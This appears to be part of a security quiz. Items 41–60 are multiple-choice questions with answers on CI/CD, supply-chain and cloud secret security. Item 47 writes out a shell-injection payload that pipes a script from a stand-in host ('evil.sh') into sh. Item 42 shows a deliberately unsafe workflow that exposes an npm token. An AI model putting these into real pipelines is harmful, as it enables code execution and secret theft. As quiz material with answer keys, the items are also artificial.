41. A config change takes down every region
A single bad config value, pushed globally in one step, broke all regions within a minute. Code changes go through canaries but config does not. What is the fix?
- A.Stop storing settings in config files
- B.Validate config and roll it out in stages like code
- C.Let only senior engineers edit config
- D.Roll back config automatically every hour
Show answer
Answer: B. Validate config and roll it out in stages like code
Config changes can break systems as badly as code, and global instant pushes remove any chance to catch them. Treat config as code: schema validation, review, and staged rollout region by region with automatic health checks and rollback. Many large outages trace back to unstaged config pushes.
42. Risky GitHub Actions trigger
A public repo has this workflow. Why is it dangerous?
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}- A.pull_request_target does not run on forks, so tests never run.
- B.actions/checkout@v4 is deprecated and cannot check out a SHA.
- C.npm ci is not allowed in GitHub Actions.
- D.pull_request_target runs with the base repo secrets and write token, and this job checks out and runs untrusted code from the fork, so an attacker can steal NPM_TOKEN or push changes.
Show answer
Answer: D. pull_request_target runs with the base repo secrets and write token, and this job checks out and runs untrusted code from the fork, so an attacker can steal NPM_TOKEN or push changes.
pull_request_target runs in the context of the base repository, with access to secrets and a token that may have write permissions. Checking out the PR head and running its scripts (npm install hooks, tests) lets anyone who opens a PR execute code with those privileges. Use the pull_request trigger for untrusted code, and keep secrets in separate, trusted workflows.
43. Prioritising beyond CVSS
You have two findings: CVE-A, CVSS 9.8, EPSS 0.2%, not in CISA KEV; and CVE-B, CVSS 7.5, EPSS 94%, listed in KEV, on an internet-facing service. Which do you fix first?
- A.CVE-A, because its CVSS score is higher
- B.Both at the same time, since both are High or worse
- C.CVE-B, because it is being exploited and is exposed
- D.Neither until a vendor advisory is released
Show answer
Answer: C. CVE-B, because it is being exploited and is exposed
CVSS measures severity, not likelihood. EPSS estimates the chance of exploitation in the next 30 days, and the CISA KEV catalogue lists vulnerabilities known to be exploited in the wild. A KEV-listed, internet-facing CVE-B is the bigger real risk now; CVE-A still needs fixing on schedule.
44. What SLSA Build L3 adds
Your builds already produce signed provenance from a hosted CI service (SLSA Build L2). What does moving to SLSA Build Level 3 mainly add?
- A.A list of every licence in the dependency tree
- B.Two human reviewers required on every code change
- C.Signed Git commits from every single developer
- D.A hardened builder that builds cannot tamper with
Show answer
Answer: D. A hardened builder that builds cannot tamper with
SLSA build levels are about trusting how an artifact was produced. L1 has provenance, L2 adds a hosted platform that signs it, and L3 requires a hardened platform that isolates builds so user steps cannot forge provenance or reach signing keys. Code review and licences are outside the build track.
45. How keyless cosign signing works
Your CI signs images with `cosign sign` in keyless mode, with no private key stored anywhere. What makes the signature trustworthy?
- A.A short-lived cert tied to the CI OIDC identity, logged in Rekor
- B.A long-lived key that GitHub stores for each repository
- C.The image digest acting as its own signature
- D.A password typed by the release manager at sign time
Show answer
Answer: A. A short-lived cert tied to the CI OIDC identity, logged in Rekor
In keyless signing, cosign gets an OIDC token from the CI, and Fulcio issues a certificate valid for minutes bound to that identity (for example the workflow path). The signature is recorded in the Rekor transparency log. Verifiers check the expected identity and issuer, so there is no key to leak or rotate.
46. Answering a customer scan with VEX
A customer's scanner flags a CVE in a library inside your product. You have confirmed the vulnerable code is never loaded. What lets you state this in a machine-readable way?
- A.A second SBOM with the library removed from the list
- B.A PDF letter from your CTO
- C.A CVSS score lowered to 0.0 in your report
- D.A VEX document marking the CVE not_affected with a justification
Show answer
Answer: D. A VEX document marking the CVE not_affected with a justification
VEX (Vulnerability Exploitability eXchange) lets a supplier state the status of a CVE for a product: not_affected, affected, fixed or under_investigation, with a reason such as vulnerable code not present or not in the execution path. Scanners can use it to drop the alert. Editing the SBOM would make it inaccurate.
47. Injection through an issue title
Which change fixes the security bug in this workflow step that runs on new issues?
- name: Label issue
run: |
echo "New issue: ${{ github.event.issue.title }}"
./label.sh "${{ github.event.issue.title }}"- A.Wrap the expression in single quotes instead of double
- B.Pass the title through env and use "$TITLE" in the script
- C.Add permissions: issues: write to the job
- D.Run the step on a Windows runner instead
Show answer
Answer: B. Pass the title through env and use "$TITLE" in the script
The ${{ }} expression is pasted into the script before the shell runs, so a title like a"; curl evil.sh | sh; " becomes shell code. Setting env: TITLE: ${{ github.event.issue.title }} and using "$TITLE" makes it data. Quotes in the template do not help, because the attacker can close them.
48. Secrets as env vars vs files
Your team debates passing a database password to a Pod as an environment variable or as a mounted file. What is a real security advantage of the mounted file?
- A.Files are encrypted inside the container, env vars are not
- B.Env vars are visible to every Pod on the node
- C.Mounted files cannot be read by the app process itself
- D.Env vars leak more easily via child processes, dumps and debug pages
Show answer
Answer: D. Env vars leak more easily via child processes, dumps and debug pages
Environment variables are passed to every child process, often appear in crash reports, error pages and debug endpoints that dump the environment, and cannot change without a restart. A mounted file can have tight permissions and be refreshed when rotated. Neither is encrypted inside the container.
49. Running customer code in containers
Your SaaS runs code uploaded by customers inside containers on shared nodes. Normal containers share the host kernel. What adds a strong isolation layer?
- A.A larger memory limit on each customer Pod
- B.A separate namespace for each customer
- C.A readiness probe on every customer container
- D.A sandboxed runtime like gVisor or Kata via a RuntimeClass
Show answer
Answer: D. A sandboxed runtime like gVisor or Kata via a RuntimeClass
Standard containers rely on the shared kernel, so a kernel bug can lead to escape. gVisor puts a user-space kernel in between and Kata runs each Pod in a light VM, both selected with a RuntimeClass. Namespaces and quotas organise things but do not isolate the kernel.
50. CVE in a package the app never uses
An image ships ImageMagick only because an old base image included it. The app never calls it, and a critical CVE has no fix yet. What is the best action?
- A.Accept it permanently, since the app never calls it
- B.Remove the package from the image so the finding is gone
- C.Wait for the upstream fix and do nothing until then
- D.Block the CVE ID in the scanner for all images
Show answer
Answer: B. Remove the package from the image so the finding is gone
A tool the app does not need is still there for an attacker who gets in, and keeps showing in every scan. Removing it, or moving to a slimmer base, fixes the risk and the noise at once. Accepting risk needs a reason and a review date; suppressing it everywhere hides it in images that do use it.
51. Revoking leaked dynamic DB credentials
Your app gets dynamic database credentials from Vault at database/creds/orders. You suspect the app's host was compromised. How do you cut off every credential it was issued, quickly?
- A.vault lease revoke -prefix database/creds/orders
- B.Change the Vault root token and restart Vault
- C.Delete the database role and wait for leases to expire
- D.Restart the app so it requests new credentials
Show answer
Answer: A. vault lease revoke -prefix database/creds/orders
Each dynamic credential is tied to a Vault lease. Revoking by prefix makes Vault delete all database users created under that path at once. Waiting for the TTL leaves a window, and restarting the app gives the attacker nothing back but does not kill the old credentials.
52. Installing a CLI with curl | bash
A pipeline step installs a tool with `curl -sL https://get.example.dev | bash`, fetching the latest version each run. What is the safer pattern?
- A.Add -k to curl so TLS errors do not stop the build
- B.Run the same command but only on main branch builds
- C.Download a pinned version and check its checksum or signature
- D.Cache the script output so it runs only once a week
Show answer
Answer: C. Download a pinned version and check its checksum or signature
Piping a remote script to bash runs whatever the server sends that day, so a hacked site or changed release goes straight into your build. Pin the version, verify a published SHA-256 or signature, or use a vetted base image with the tool. curl -k would remove TLS checks and make it worse.
53. Lesson from the xz utils backdoor
In the 2024 xz utils backdoor, malicious build code was in the release tarballs but not in the Git source, and it was added by a trusted maintainer after years of work. Which practice would most help catch this class of attack?
- A.Scan the Git repository with SAST more often
- B.Only use packages that have more than one release
- C.Run the library in a container with a memory limit
- D.Build from verified source and compare with reproducible builds
Show answer
Answer: D. Build from verified source and compare with reproducible builds
The payload hid in generated release files and test data, so reviewing Git alone missed it. Building from the tagged source yourself, and checking that independent builds produce identical output, shows when a published artifact does not match its source. It also showed the risk of relying on one overworked maintainer.
54. Vault restarts at 3 a.m.
A Vault node restarts at night and stays sealed until three key holders type their unseal key shares. Apps cannot get secrets for hours. What removes this manual step while keeping keys protected?
- A.Store the unseal key shares in a ConfigMap for Vault
- B.Disable sealing so that Vault always starts unlocked
- C.Keep the key shares inside the Vault KV engine itself
- D.Auto-unseal using a cloud KMS or HSM to protect the root key
Show answer
Answer: D. Auto-unseal using a cloud KMS or HSM to protect the root key
With auto-unseal, Vault's root key is encrypted by a key in a cloud KMS or HSM, and Vault calls the KMS at start-up to unseal itself. Access to that KMS key is then the critical control and is audited. Shares in a ConfigMap or inside Vault would defeat the purpose.
55. SBOM from source vs from the image
An SBOM generated from your repo lists 120 npm packages. An SBOM generated from the final container image lists 310 components. Which one better shows what runs in production, and why?
- A.The source SBOM, since images add only harmless files
- B.The image SBOM, as it includes OS packages and build output
- C.Both are equal, and the count differs only by format
- D.Neither, because SBOMs cannot list OS packages
Show answer
Answer: B. The image SBOM, as it includes OS packages and build output
A source SBOM sees your manifests and lockfiles. The image SBOM also sees the base OS packages, system libraries and anything added during the build, which is what actually ships. Generate SBOMs from the final artifact for vulnerability response, and keep source ones for development.
56. A signing key was leaked
The cosign private key used to sign release images was found in a public paste. What should the response include?
- A.Revoke the key, re-sign good images with a new key, check logs
- B.Keep using the same key but change its password
- C.Delete the public paste and carry on as before
- D.Stop verifying image signatures until the key expires
Show answer
Answer: A. Revoke the key, re-sign good images with a new key, check logs
Anyone holding the key can sign malicious images that your clusters will trust. Remove the old public key from verification policies, sign known-good images with a new key, and check registries and transparency logs for signatures you did not make. Keyless signing avoids long-lived keys.
57. Privilege escalation via PassRole
A CI role may only create Lambda functions, but it also has iam:PassRole on "*". Why is this a privilege escalation risk?
- A.PassRole lets it read every S3 bucket directly
- B.It can create a function that runs as an admin role and use it
- C.PassRole lets it reset any IAM user's password
- D.PassRole only affects billing, so there is no risk
Show answer
Answer: B. It can create a function that runs as an admin role and use it
iam:PassRole lets a principal hand a role to a service. With lambda:CreateFunction plus PassRole on all roles, the CI role can create a function that runs as a highly privileged role and do anything that role can. Limit PassRole to specific role ARNs and use the iam:PassedToService condition.
58. A DB password that never hits state
Recent Terraform versions add "write-only" arguments such as password_wo on aws_db_instance. What problem do they solve?
- A.The value is hidden in CLI output but stored in state as normal
- B.The value is sent to the provider but never saved in plan or state
- C.The value is encrypted in state with a key from KMS
- D.The value can only be set once and then becomes read-only
Show answer
Answer: B. The value is sent to the provider but never saved in plan or state
Write-only arguments (Terraform 1.11+) are passed to the API during apply and are never persisted, so the secret is not in state or the plan file. Because Terraform cannot compare them, you bump a companion version argument such as password_wo_version to rotate. sensitive = true only hides values in output; they stay in state.
59. Secrets inside Terraform state
Terraform creates an RDS instance with a master password from a variable marked sensitive = true. Which statement is correct?
- A.State files never contain secret values from sensitive variables
- B.sensitive = true encrypts the value inside the state file with KMS
- C.Sensitive values are still plain text in state; lock down the backend
- D.Only local state files can contain secrets, never remote backends
Show answer
Answer: C. Sensitive values are still plain text in state; lock down the backend
sensitive only hides values in CLI output; the state still stores them in plain text. Use an encrypted backend with tight access and audit logging, and avoid secrets in state where possible. Options include RDS managed master passwords in Secrets Manager, ephemeral resources and write-only arguments in newer Terraform, or OpenTofu state encryption.
60. Same tag, different image
Two pods of the same deployment behave differently. Both use image "scorer:latest", but one was pulled before a new push. What prevents this?
- A.Restarting pods every hour
- B.Using a larger node
- C.Setting imagePullPolicy to Never
- D.Deploying immutable image references by digest (or unique version tags) recorded with the model release
Show answer
Answer: D. Deploying immutable image references by digest (or unique version tags) recorded with the model release
Tags such as latest are mutable, so the same name can point to different images over time. A digest (sha256) identifies exact content, which makes deployments reproducible and auditable. Combine this with signed images and recorded model artifact hashes for supply chain safety.
